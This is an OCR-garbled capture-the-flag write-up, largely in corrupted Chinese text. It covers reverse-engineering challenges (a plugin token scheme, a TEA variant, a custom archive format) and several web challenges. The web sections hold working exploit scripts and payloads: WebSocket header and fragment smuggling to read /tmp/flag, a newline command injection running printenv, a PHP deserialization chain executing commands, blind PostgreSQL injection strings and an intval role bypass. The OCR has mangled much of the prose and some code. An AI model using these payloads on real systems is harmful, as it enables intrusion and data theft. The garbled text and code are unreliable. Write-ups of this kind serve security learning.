BN RERDIXEXH, FlagPlugin.class, ARETFEIRIEF, BRI —LIREXflaghiE R,
BE—IIE, BITENRSRUGE, SKE—"token,

AR

1 public void onJoin(PlayerJoinEvent paramPlayerJoinEvent) {
2 Player player = paramPlayerJoinEvent.getPlayer();

3 String str = a(player.getName());

4

5 this.a.put(player.getUniqueld(), str);

6

7 player.sendMessage (

8 . + "Token: " + ... + str

g )3

10 }

X tokenBIRIEFA IR AP & £,
XEE—FEA

RIGIR
1 private static byte[] b(byte[] paramArrayOfbyte) {
2 byte[] arrayOfByte = new byte[paramArrayOfbyte.length];
3
4 for (byte b = 0; b < paramArrayOfbyte.length; b++)
5 arrayOfByte[b] = (byte) (paramArrayOfbyte[b] » b + 32);
6
7 return arrayOfByte;
8 }
HBHE:
RIEIR

1 d[i] XOR (i + 32)

[RIBENE:

AR

1 d={
2 112, 72, 69, 103, 75,



3 66, 101, 70, 92, 8

s
&/E15%PigDogCat!

RIGIR

1 private String a(String paramString, byte[] paramArrayOfbyte) {

2 MessageDigest messageDigest = MessageDigest.getInstance("SHA-1");

3

4 messageDigest.update(paramString.getBytes("UTF-8"));

5 messageDigest.update(paramArrayOfbyte) ;

6

7 byte[] arrayOfByte = messageDigest.digest();

8

9 for (byte b = 0; b < 8; b++) {

10 stringBuilder.append(

11 String. format("%02x", arrayOfByte[b] & OxFF)

12 )

13 }

14

15 return stringBuilder.toString();

16 1}

authfVE XU £, FEItEEIERresponsefiZiZe

(AN RS

1 response = SHA1(Token + "PigDogCat!")[:8 bytes]

X EBHAYZE SHA-1 Fi 8 bytes
INERRINE, EEflaghIPaiisean

AR

1  dnt i = e[0] A OXCAFE;
2 int j = e[1];

3 int k = e[2] » OxBABE;

=

xEZid 1153 x:256,y:80,2:256
XBEWH—1N848, AEL=8=igEair,
XEETERLR L /flagit el LIS EIflag 7o



flag{1lebjcgd-Tn4t-4bc-8j6p-yugjk7qrkrun5}

Tea for fan
EFET, FBNR
BEFEd fgets EEVAFBN, BRRITEERKELIIGHFANI2FT
NBAZ/ NmEHRAL 8 1 uint32_t ¢
word[0], word[1], ..., word[7]
FHED uint32_t HAM—4H 64 fiik:
(word[0], word[1])
(word[2], word[3])
(word[4], word([5])
(word[6], word([7])
AT 32 WECK TEA/MBA Tk, RARERS5BIREELR.
BAREX .
91cae279 54a6390c 44425d25 8973ec92
a237ade3 46bd8e22 43b79c57 cbff40aa
AR E{E:

(AN RS

1 target = [

2 Ox91cae279, 0Ox54a6390c,
3 0x44425d25, Ox8973ec92,
4 Oxa237ade3, Ox46bdge22,
5 0x43b79c57, Oxcbff40aa,
6

IR
RIEIR
1 key = [
2 0x12345678,
3 Ox9abcdef0,
4 Oxdeadbeef,
5 Oxcafebabe,
6 1



VRTINS -

s=0

d_seed =0x1337c0de

delta_base =0x12345678

F—R&FEM d_seed :

d_seed =d_seed * 0x41c64e6d + 0x3039
SARITE AR delta:

d = (delta_base * d_seed) & OxOfffffff
BERSIRKS:

s=s+d

ZIEH d_seed M s EpHEIEEM key T4F:
rl=d _seed%7+2
r2=(d_seed>>8)%7+2

kO=(s>>2) &3

kl=(s>>4)&3

k2=(s>>6) &3

k3=(s>>8) &3

BRAZFEE TEA, BHTEMAE TEA
BEXRRBBE/N B ZHENR:

1. BRI EM d_seed, BitHE d, BEM s
2.v0 EFH A TUA round_idx % 2 JR7E,

3. v1 FYEHFHF A round_idx % 3 JRE,
4 FEHFREM VI, BIERABEZEHGRI VO,
5. 5—P#EEIZ uint32_t Fil,
ERBHNEE 4~

vl Byt B FHE v0, MAZIH v0.

MRXEBRRE, FzERINBASIHRARERTTENFR, BMERLERESEREEFRTUERM
ZOEREE

INZ R BUZEEIIAMT
BACEHEEZMITE, BMT19937— S M E ] U EZYF

X
H
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A A DM D D DD D WWWWWWWWWWNDNDNDNNNDNDNMDNMDNMAPEREERRERRERERFR PR R B
~N oo oA W N B O O 0o N0 D WNEFEF O O 0o N0 U P W NN PR O V0o N0 0P WN o

import struct

MASK = oxffffffff

key = [
0x12345678,
Ox9abcdefo,
Oxdeadbeef,
Oxcafebabe,

]

target = [
Ox91cae279, 0x54a6390c,
0x44425d25, 0Ox8973ec92,
Oxa237ade3, 0Ox46bd8e22,
0x43b79c57, Oxcbff40aa,

def u32(x):
return x & MASK
def rol(x, n):
n &= 31
x &= MASK
return ((x << n) | (x > (32 - n))) & MASK
def make_params():
s =0
d_seed = 0x1337c0Ode
delta_base = 0x12345678
params = []
for round_idx in range(32):
d_seed = u32(d_seed * 0Ox4lc64e6d + Ox3039)
d = (delta_base " d_seed) & OxOfffffff
s = u32(s + d)
ri d seed % 7 + 2
r2 (d_seed >> 8) % 7 + 2
kO = (s >> 2) & 3
ki = (s > 4) &3
k2 = (s > 6) & 3
k3 = (s > 8) & 3
params.append((round_idx, s, rl, r2, ko, ki1, k2, k3))

return params
params = make_params()
def encrypt_pair(ve, vl):
for round_idx, s, r1, r2, kO, kl, k2, k3 in params:
a rol(vl, rl) " key[ko]
b u32(vl + s)
c = key[kl] ~ (vl >> r2)
if round_idx % 2 ==
vl = u32(v0 + (a " b * c))
else:
vl = u32(v0 A u32(a + b + ¢))



48 a = rol(ve, rl1) " key[k2]
49 b = u32(v0 + s)
50 c = key[k3] * (vO >> r2)
51 if round_idx % 3 ==
52 vl = u32(vl A u32(a + b + ¢))
53 else:
54 vl = u32(vl + (a » b * <))
55 return vo, vl
56 def decrypt_pair(vo, vl):
57 for round_idx, s, rl, r2, ko, kl, k2, k3 in reversed(params):
58 a = rol(ve, rl) " key[k2]
59 b = u32(v0 + s)
60 c = key[k3] A (vO >> r2)
61 if round_idx % 3 ==
62 vl = u32(vl A u32(a + b + ¢))
63 else:
64 vl = u32(vl - (a b * c))
65 a = rol(vl, rl1) " key[ko]
66 b = u32(vl + s)
67 c = key[kl] ~ (vl >> r2)
68 if round_idx % 2 == 0:
69 vl = u32(vl - (a " b " ¢))
70 else:
71 vl = u32(v0 A u32(a + b + ¢))
72 return vo, vl
73 plain_words = []
74 for i in range(0, 8, 2):
75 vO, vl = decrypt_pair(target[i], target[i + 1])
76 plain_words.append(v0)
77 plain_words.append(vl)
78 flag = b"".join(struct.pack("<I'", x) for x in plain_words)
79 print(flag.decode())
80 check = []
81 for i in range(0, 8, 2):
82 check.extend(encrypt_pair(plain_words[i], plain_words[i + 1]))
83 print([hex(x) for x in check])
XIREN
PR R Mz
ISR

1 erdtree_oath.exe
2 shard.dat



shard.dat AZE@BANXMH, ME—TEEXZRE. XMHkH:
RUNEPAK1
BFESNZREFRE—MIERER, FNE#ITRIED, BEEEIERKEN:
REMB
BFEEESARE:
$E5—2: fi#ftfr shard.dat, fi#H REMB iR
FE RIERAFPBRARESEBIURE, boss RIRIERESHARE flag
RREPRET !
table f®#%
table #1=
flag B fm%
flag BXKE
BFRATEERL flag, MEREXKWAETIES, EREIREFHEFRM. &EMWAN:
boss
fih & B R YA
12 RAPR RIS T
vigor = 0x5aa
runes = 0x1b58
poise = 0x20
wall=0
wall_ok=0
stone=0
great_rune=0
deaths=0
h =0x811c9dc5
grace_state=0
XERSEEERNNIEL T,
FBES
gracen
wall n

stonen



falln

rune n

arcn

boss

Lo

e grace R¥EH grace_state. poise. vigor. h

e wall RBEHEH h M poise , HEEERIFE 50 FANZE wall_ok = 1

e stone SFH h # stone

\

e fall &%M vigor . runes. deaths. h

* rune RIZE great_rune

e arc RH¥% runes HHZ poise
* boss SRERZRESHEE flag
RAHN boss I, REME:

vigor =0x493

runes =0x191b

poise =0x3a3
wall_ok =1
stone =1

great_rune=1
deaths =0
BRItz 5h, BB —1 table #54:
check = lookup(wall » grace_state) * lookup((poise + runes) & Oxffffffff) A h
check == 0x0c4fa2c9
RELWHTE, BEFATSAIIRTIRERIAREE flag
AR ANEIREAEANI
grace 101
wall 50
stone 190
fall 190
rune 1

arc 59956



boss

TR

1 import sys

2 import struct

3 import binascii

4 from pathlib +import Path

5 MASK32 = Oxffffffff

6 MASK64 = Oxffffffffffffffff

7 path = sys.argv[1l] if len(sys.argv) > 1 else "shard.dat"
8 data = Path(path).read_bytes()

9 def u32(x):

10 return struct.unpack("<I", x)[0]

11 def rol32(x, n):

12 n &= 31

13 x &= MASK32

14 if n ==

15 return x

16 return ((x << n) | (x > (32 - n))) & MASK32
17 def ror32(x, n):

18 n &= 31

19 x &= MASK32
20 if n ==
21 return x

22 return ((x > n) | (x << (32 - n))) & MASK32
23 def splitmix_bytes(seed, length):

24 X = (seed + 0x9e3779b97f4a7cl5) & MASK64

25 out = []

26 for _ in range(length):

27 zZ = X

28 z = ((z » (z > 30)) * 0xbf58476d1ced4e5b9) & MASK64
29 z = ((z » (z > 27)) * 0x94d049bb133111leb) & MASK64
30 z M=z >> 31

31 out.append((z >> 56) & Oxff)

32 X = (x + 0x9e3779b97f4a7c15) & MASK64

33 return bytes(out)

34 magic = datal:8]

35 seed = u32(datal[8:12])

36 count = u32(data[12:16])

37 assert magic == b"RUNEPAK1"

38 entries = []

39 for i in range(count):
40 p=16+ 1 * 16
41 entry_id = u32(datal[p:p+4])
42 off = u32(datal[p+4:p+8])
43 size = u32(datal[p+8:p+12])



44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

crc = u32(datal[p+l2:p+16])
entries.append((entry_id, off, size, crc))
for entry_id, off, size, crc in entries:
if entry_id == Oxc4b7a9le:
enc = data[off:off+size]
break

k = splitmix_bytes(seed » 0x6a09e667370b6017, size)

remb = bytes(a » b for a, b in zip(enc, k))
assert binascii.crc32(remb) & MASK32 == crc
assert remb[:4] == b"REMB"

table_off = u32(remb[4:8])

table_count = u32(remb[8:12])

flag_off = u32(remb[12:16])

flag_len = u32(remb[16:20])

table = list(struct.unpack("<%dI" % table_count, remb[table_off:table_off
+ table_count * 4]))

def lookup(key):

return table[((key A 0x9e3779b9) & MASK32) % table_count]

vigor = 0x5aa
runes = 0x1b58
poise = 0x20
wall = 0
wall_ok = 0
stone = 0

great_rune = 0

deaths = 0

h = 0x811c9dc5

grace_state = 0

cmds = [
("grace", 101),
("wall", 50),
("stone'", 190),
("fall", 190),
("rune", 1),
("arc", 59956),

for cmd, n in cmds:

if cmd == "grace'":

grace_state "= rol32((n * 0x45d9f3b) & MASK32, n)

poise = (poise + 3) & MASK32

vigor = 0Ox5aa

h = (rol32(n » h, 5) + 0x1000193) & MASK32

elif cmd == "wall":
old = wall
cur = old + 1

end = old + n

X = cur x 13



920 while True:

91 h = (h + 0x51ed270b) & MASK32

92 poise = (poise + 7) & MASK32

93 h = rol32(h, 3)

94 poise "= x & MASK32

95 h A= cur & MASK32

96 if cur == 50:

97 wall_ok = 1

98 x = (x + 13) & MASK32

99 if cur == end:

100 break

101 cur += 1

102 wall = end

103 elif cmd == "stone":

104 h = rol32((n + h + 0x7261696e) & MASK32, 13)
105 stone = 1 if n <= 199 else 2

106 elif ecmd == "fall":

107 if n <= 159:

108 runes = (runes + n * 17) & MASK32
109 elif n <= 199:

110 a =n - 159

111 loss = 9 * a

112 vigor = vigor - loss if loss < vigor else 1
113 vigor &= MASK32

114 runes A= (a * 0x909) & MASK32

115 else:

116 deaths = (deaths + 1) & MASK32
117 h A= Oxdeaddead

118 vigor = 1

119 h = rol32(n » h, 7)

120 elif cmd = "rune":

121 if n == 1 and grace_state != 0 and great_rune ==
122 h A= 0x4752554e

123 poise = (poise + 21) & MASK32

124 h = ror32(h, 15)

125 great_rune = 1

126 else:

127 deaths = (deaths + 1) & MASK32
128 h A= (n * 0x9e3779b9) & MASK32
129 elif ecmd == "arc":

130 if runes >= n:

131 runes = (runes - n) & MASK32

132 poise = (poise + n % 97) & MASK32
133 else:

134 deaths = (deaths + 1) & MASK32
135 runes = n

136 h = rol32((n + h) & MASK32, 11)



137 assert vigor == 0x493

138 assert runes == 0x191b

139 assert poise == 0x3a3

140 assert wall_ok ==

141 assert stone ==

142 assert great_rune == 1

143 assert deaths == 0

144 check = lookup(wall " grace_state) " lookup((poise + runes) & MASK32) ~ h
145 assert check == 0x0c4fa2c9

146 ct = remb[flag_off:flag_off + flag_len]

147 seed2 = (grace_state N h "N 0x6209e667f3bcc909) & MASK64
148 k2 = splitmix_bytes(seed2, flag_len)

149 flag = bytes(a » b for a, b in zip(ct, k2))

150 print(flag.decode())

flag{b8f7c2al-4d6e-49ab-9c03-7e2d91f65a40}
WEB

little java
FFAsE:
1. /api/bootstrap IREXAZEA ticket,
2. WebSocket ##% /gateway o
3. REEEIFEKK:
X-Relay-Route: public
X-Relay-Route: recovery

Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Extensions: client_no_context_takeover

4. RiE5DF telemetry JHE,
5. X388 SHA-256 B 16 T &% Ping proofs,
6. X% operator/readFile iEXKIEEX /tmp/flag o

exp:

(AN RS

import argparse
import base64
import hashlib
import json

import os

o b~ W N

import socket



10
11
12

13
14
15
16
17
18
19
20
21

22
23
24
25
26
27
28
29
30
31
32
33
34
55
36
37

38
39
40
41
42
43
44
45
46
47
48
49
50

import struct
import sys
import urllib.request

def get_bootstrap(base_url: str) -> tuple[str, str]:
with urllib.request.urlopen(base_url.rstrip("/") + "/api/bootstrap",
timeout=15) as response:
data = json.loads(response.read().decode("utf-8"))

return data["ticket"], data["trace"]

def recv_until(sock: socket.socket, marker: bytes) -> bytes:
data = bytearray()
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
raise ConnectionError("connection closed during WebSocket
handshake')
data.extend(chunk)
if len(data) > 65536:
raise ValueError ("handshake response is too large")

return bytes(data)

def mask_frame(opcode: 1int, payload: bytes, fin: bool = True) -> bytes:
first = (0x80 1if fin else 0) | opcode
length = len(payload)
if length < 126:
header = bytes([first, 0x80 | length])
elif length <= OxFFFF:
bytes([first, 0x80 | 126]) + struct.pack("!H", length)

header
else:
header = bytes([first, O0x80 | 127]) + struct.pack("!Q", length)

key = os.urandom(4)

masked = bytes(value " key[index % 4] for 1index, value in
enumerate(payload))
return header + key + masked

def recv_frame(sock: socket.socket) -> tuple[int, bool, bytes]:
header = sock.recv(2)
if len(header) != 2:
raise ConnectionError("connection closed while reading frame'")
first, second = header
fin = bool(first & 0x80)
opcode = first & OxOF
masked = bool(second & 0x80)
length = second & Ox7F
if length == 126:
length = struct.unpack("!H", sock.recv(2))[0]



51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

def

def

elif length == 127:
length = struct.unpack("!Q", sock.recv(8))[0]

mask_key = sock.recv(4) if masked else b""
payload = bytearray()
while len(payload) < length:
chunk = sock.recv(length - len(payload))
if not chunk:

raise ConnectionError("connection closed while reading payload")

payload.extend(chunk)
if masked:
payload = bytearray(

value " mask_key[index % 4] for 1index, value in enumerate(payload)

)
return opcode, fin, bytes(payload)

receive_text(sock: socket.socket, timeout: float = 5.0) -> str:
sock.settimeout (timeout)
fragments = bytearray()
while True:
opcode, fin, payload = recv_frame(sock)
if opcode == OxA:
continue
if opcode == 0x9:
sock.sendall(mask_frame(0xA, payload))
continue
if opcode == 0Ox8:
raise ConnectionError(f"server closed WebSocket: {payload!r}'")
if opcode == 0Ox1:
fragments.extend(payload)
elif opcode == 0x0:
fragments.extend(payload)
else:
continue
if fin:

return fragments.decode("utf-8", errors="replace")

main() -> int:
parser = argparse.ArgumentParser ()
parser.add_argument (
"--base",
default="http://challenge.cyclens.tech:30978",
help="challenge HTTP base URL",
)
parser.add_argument("--host", default="challenge.cyclens.tech")
parser.add_argument("--port", type=int, default=30978)

parser.add_argument ('"'--verbose'", action="store_true')



98

99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119

120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
13
140
141
142
143

args

try:

sock:

= parser.parse_args()

ticket, trace = get_bootstrap(args.base)
print(f"trace={trace}")

key = base64.b64encode (os.urandom(16)).decode("ascii')
request = (
"GET /gateway HTTP/1.1\r\n"
f"Host: {args.host}:{args.port}\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
"Sec-WebSocket-Version: 13\r\n"
"X-Relay-Route: public\r\n"
"X-Relay-Route: recovery\r\n"
"Sec-WebSocket-Protocol: relay.vl,operator.vi\r\n"
"Sec-WebSocket-Extensions: permessage-deflate\r\n"
"Sec-WebSocket-Extensions: client_no_context_takeover\r\n"
"\r\n"

) .encode("ascii')

with socket.create_connection((args.host, args.port), timeout=15) as

sock.sendall(request)
handshake = recv_until(sock, b"\r\n\r\n")
if args.verbose:
print(handshake.decode("i1s0-8859-1", errors="replace"))
if not handshake.startswith(b"HTTP/1.1 101"):
raise RuntimeError(
"WebSocket handshake rejected:\n"
+ handshake.decode("1s0-8859-1", errors="replace')

opening = json.dumps(

{
"ticket": ticket,
"trace": trace,
"phase": "telemetry",
"op": "ping",

},

separators=(",", ":"),

) .encode ("utf-8")

# The relay validates the first non-final text fragment before the
# normal WebSocket message callback receives the reassembled text.
sock.sendall(mask_frame(0x1, opening, fin=False))
sock.sendall(mask_frame(0x0, b"'", fin=True))



144 denied = receive_text(sock)

145 if args.verbose:

146 print(f"opening response={denied!r}")

147

148 proof = hashlib.sha256(opening).digest()[:16]

149 sock.sendall(mask_frame(0x9, proof))

150

151 operator = json.dumps(

152 {

153 "trace": trace,

154 "phase": "operator",

155 "op": "readFile",

156 "path": "/tmp/flag",

157 1,

158 separators=(",", ":"),

159 ) .encode ("utf-8")

160 sock.sendall(mask_frame(0x1, operator))

161

162 print(receive_text(sock))

163 except (OSError, ValueError, RuntimeError, ConnectionError, KeyError) as
error:

164 print(f"failed: {error}", file=sys.stderr)

165 return 2

166 return 0

167

168 if __name__ == "_main__":

169 raise SystemExit(main())

lets_goooooo

ypE)=.

host #WEIEHHEER /bin/sh -c , BRBFEIRITH %0A o
EREHH IR aghm LT

AR

import argparse
import html
import re

import sys

1
2
3
4
5 from urllib.error import HTTPError, URLError
6  from urllib.parse import urlencode, urljoin
7  from urllib.request import Request, urlopen
8 def main() -> 1int:

9 parser = argparse.ArgumentParser ()

10 parser.add_argument (



11 "--base",

12 default="http://challenge.cyclens.tech:32540/",
13 help="challenge base URL",
14 )
15 parser.add_argument("--raw", action="store_true'")
16 args = parser.parse_args()
17 # Newline is omitted from the blacklist and becomes a command separator in
sh.

18 # A tab separates shell words without triggering the literal-space filter.
19 injected_host = "127.0.0.1\nprintenv\tFLAG"
20 query = urlencode({"host": dinjected_host})
21 url = urljoin(args.base, "/ping?" + query)
22 request = Request(url, headers={"User-Agent'": "Mozilla/5.0"}, method="GET")
23 try:
24 with urlopen(request, timeout=15) as response:
25 body = response.read().decode("utf-8", errors='"replace'")
26 print (f"HTTP {response.status}")
27 if args.raw:
28 print(body)
29 return 0O
30
31 match = re.search(r"<pre>(.*x?)</pre>", body, flags=re.DOTALL)
32 if match:
33 print(html.unescape(match.group(1l)).strip())
34 else:
35 print(body)
36 except HTTPError as error:
37 print(f"HTTP {error.code}", file=sys.stderr)
38 print(error.read().decode("utf-8", errors="replace"), file=sys.stderr)
39 return 1
40 except URLError as error:
41 print(f"connection failed: {error.reason}", file=sys.stderr)
42 return 2
43 return 0
44  AGf __name__ == "__main__":
45 raise SystemExit(main())

unserialize

AEPEFEE=DRESL:
CommandExecutor

SecurityValidator
Mutator

CommandExecutor::__destruct() REREFERITHS:



this— > enabled === true this->validator instanceof SecurityValidator
Sthis->validator->getMode() !=="safe'
fER SecurityValidator::__wakeup() SHERI:
if (Sthis->mode !=="safe') {
die('invalid mode');
}
FLREEEEE mode FHIEA hacked o
Mutator::__wakeup() TFIEXi#IZIE:
if (is_string( @ XA this->ref ='hacked’,
}
T PHP 5L RRYS|AIEE, AILLS Mutator::$ref 5|

SecurityValidator: :$mode :
R:4
REFIEET, HATIRE:
1. SecurityValidator::$mode #J3A{EAN safe ;
SecurityValidator::__wakeup() aZE&ET;
Mutator::$ref & R:4 IBEE—1EM;

2
3
4. Mutator::__wakeup() ¥ZBMME hacked ;
5. CommandExecutor #ff;

6

. BWIEBRERAERE safe , 11T printenv FLAG,

Payload

TR

1 import requests

2

3 url = "http://challenge.cyclens.tech:30358/"
4 z = "\x00"

5 command = "printenv FLAG"

6

7 payload = (

8 'a:2:{7:0;0:15:"CommandExecutor":3: {'

9 f's:26:"{z}CommandExecutor{z}validator";"
10 '0:17:"SecurityValidator":2:{'
11 f's:23:"{z}SecurityValidator{z}mode";s:4:"safe";"
12 f's:23:"{z}SecurityValidator{z}data";N;'
13 "1



14 f's:24:"{z}CommandExecutor{z}command" ;'

15 f's:{len(command)}:"{command}";"'

16 f's:24:"{z}CommandExecutor{z}enabled";b:1;"'

17 '}

18 'i:1;0:7:"Mutator":1:{s:3:"ref";R:4;1}}"'

19 )

20

21 response = requests.post(url, data={""data": payload}, timeout=20)
22 print(response.status_code)

23 print(response.text)

flag{essf83oy-bibi-4g4-8kgg-ludkqwnadyuxl}

ezphp
18"/ PHP8.6 , DTS EIRVZEE:
CommandExecutor
SecurityValidator
Mutator
FEME:
CommandExecutor:: enabled = trueCommandEzecutor :: validator = SecurityValidator
SecurityValidator:: mode = sa feMutator :: ref 5| F SecurityValidator::$mode
Mutator::__wakeup() & mode 2273 hacked
X REANT -
1. CommandExecutor
2. Mutator

X#F SecurityValidator::__wakeup() %&BESERN safe, Zfg
Mutator::__wakeup() BREHE—E4-

Payload

HAETIR

1 a:2:{i:0;0:15:"CommandExecutor":3:
{s:26:"\x00CommandExecutor\x00validator";0:17:"SecurityValidator":2:
{s:23:"\x00SecurityValidator\x00mode" ;s:4:"safe'";s:23:"\x00SecurityValidator\x0
Odata";N;}s:24:"\x00CommandExecutor\x00command" ;s:13:"printenv
FLAG";s:24:"\x00CommandExecutor\x00enabled";b:1;}7:1;0:7:"Mutator":1:
{s:3:"ref";R:4;}}



1 \x00 BEXNULFET

AR
import requests
url = "http://challenge.cyclens.tech:32260/"

1

2

3

4 z = "\x00"

5 command = "printenv FLAG"
6

7

8

9

(
'a:2:{7:0;0:15:"CommandExecutor":3: {'

f's:26:"{z}CommandExecutor{z}validator";"

payload

10 '0:17:"SecurityValidator":2:{'

11 f's:23:"{z}SecurityValidator{z}mode";s:4:"safe";"
12 f's:23:"{z}SecurityValidator{z}data";N;"

13 1!

14 f's:24:"{z}CommandExecutor{z}command" ;'

15 f's:{len(command)}:"{command}";"

16 f's:24:"{z}CommandExecutor{z}enabled";b:1;"'
17 1!

18 'i:1;0:7:"Mutator":1:{s:3:"ref";R:4;}}"

19 )

20

21 response = requests.post(url, data={"data": payload}, timeout=20)
22 print(response.status_code)

23 print(response.text)

flagth’=

ti?  (AJEEREsignin)
HHERER
BTETR Greybox Archive
/source.php
/assets/app.js
app.js E=EHEAPI:
/api/lookup.php?code=...
TTEMALEH LB share code:
WELCOME26
CHANGELOG
ROADMAP



VAULT
Hir VAULT #Ri279 Restricted
APIJRRS K54S |

ZIOEIRIZEN:

AT IR

1 $$code = $$_GET['code'] 2?2 '';

2 if (lis_string($scode) || $$code === '' || strlen(Scode) > 180) {

3 respond(400, ['error' => 'share code must contain 1-180 characters']);

4 }

5 if (preg_match('/[;\x00-\x1f\x7f]/', $Scode) === 1) {

6 respond (400, ['error' => 'unsupported character']);

7 }

8 if
(preg_match('/\b(select|union|returning|copy)\b|\bpg_|information_schema/i',
Scode) === 1) {

9 respond (400, ['error' => 'query syntax is not a share code']);

10 }
11 $Sfilters = [
12 'share_code' => $S$code,
13 'is_public' => true,
14 13
15 $Srows = pg_select(
16 database(),
17 '"documents',
18 $$filters,
19 PGSQL_DML_EXEC
20 )3
21 respond (200, [
22 "found' => ds_array($$rows) && count($Srows) > 0,
23 1)
38 SQL SENKM
THEXLEZIHAF Npayload 2B RHIY:
VAULT'OR'1'="1
VAULT' OR 1=1--

VAULT'//OR//1=1--
'OR 1=1--

EREXMEFEZ pg_select(..., PGSQL_DML_EXEC) =4I ext-pgsql FUtEifliE N, Ei@e
5| SEEERERFNE, TEME FTER



RATSE !

ZIMRR pg_select FRIBMGERMEATEXIEXRY PostgreSQL FiFE, HRANRHIRRFATM
B35S, AIULRFEIIEMIMNEFRBRLERUE,
21T/ payload :
x\' OR 1=1 --
AR
\
DIAERFHNRFMIMES|S, RKE -- BREZNK.
XRIGIELE R A
backslash-injection=True

PWERENEBEMERIS share_code FREH, HEFEB AND is_public = true AJA#E
i,

BEEZENEE

AREER SELECT o ANBMANMT documents MISNEEM LETX, aJUEES|IBHEI1TH
share_code # body :

x\' OR (share_code= VAULT' AND length(body)>=N)--
HIBTEE N EF T :

x\' OR (share_code= VAULT AND ascii(substr(body,P,1))>C)--
Hrh:

N = IESCKEHIMf{E

P=F/RME, M1

C=ASCIl tbif&
f#F PostgreSQL B dollar quoting:

VAULT
B LB R e 4R 85| S BRHE ext-pgsql MNME
=J=LeE]

flag{essf83o0y-bibi-4g4-8kgg-ludkqwnadyuxl}

LamentXU's chall

. B0EZ highlight_file(__FILE__) =J&I5, #1582 grantRole(Suserld, Sroleld) & Sroleld
===1gtiad /flag. HE=RETF:



. KIGFEHE trim(rawRole)[GM roleText (BR: FZETF '1'. T +/-. T e/E/.. BEHIE0. %
F)
- BRAENNR intval(SrawRole) — AWM ZRIBE
- intval('labc’) R EFAIZISEI 1, M 'labc BB 2B
- Hhuserld KESF > 114

Payload:

(AR S

1 GET /?userId=aaaa...a(120"a)&role=1abc

238 flag:

(AN RS

1 flag{43mlhjwh-yvt1l-4yt-8ov3-afylphoronni5}



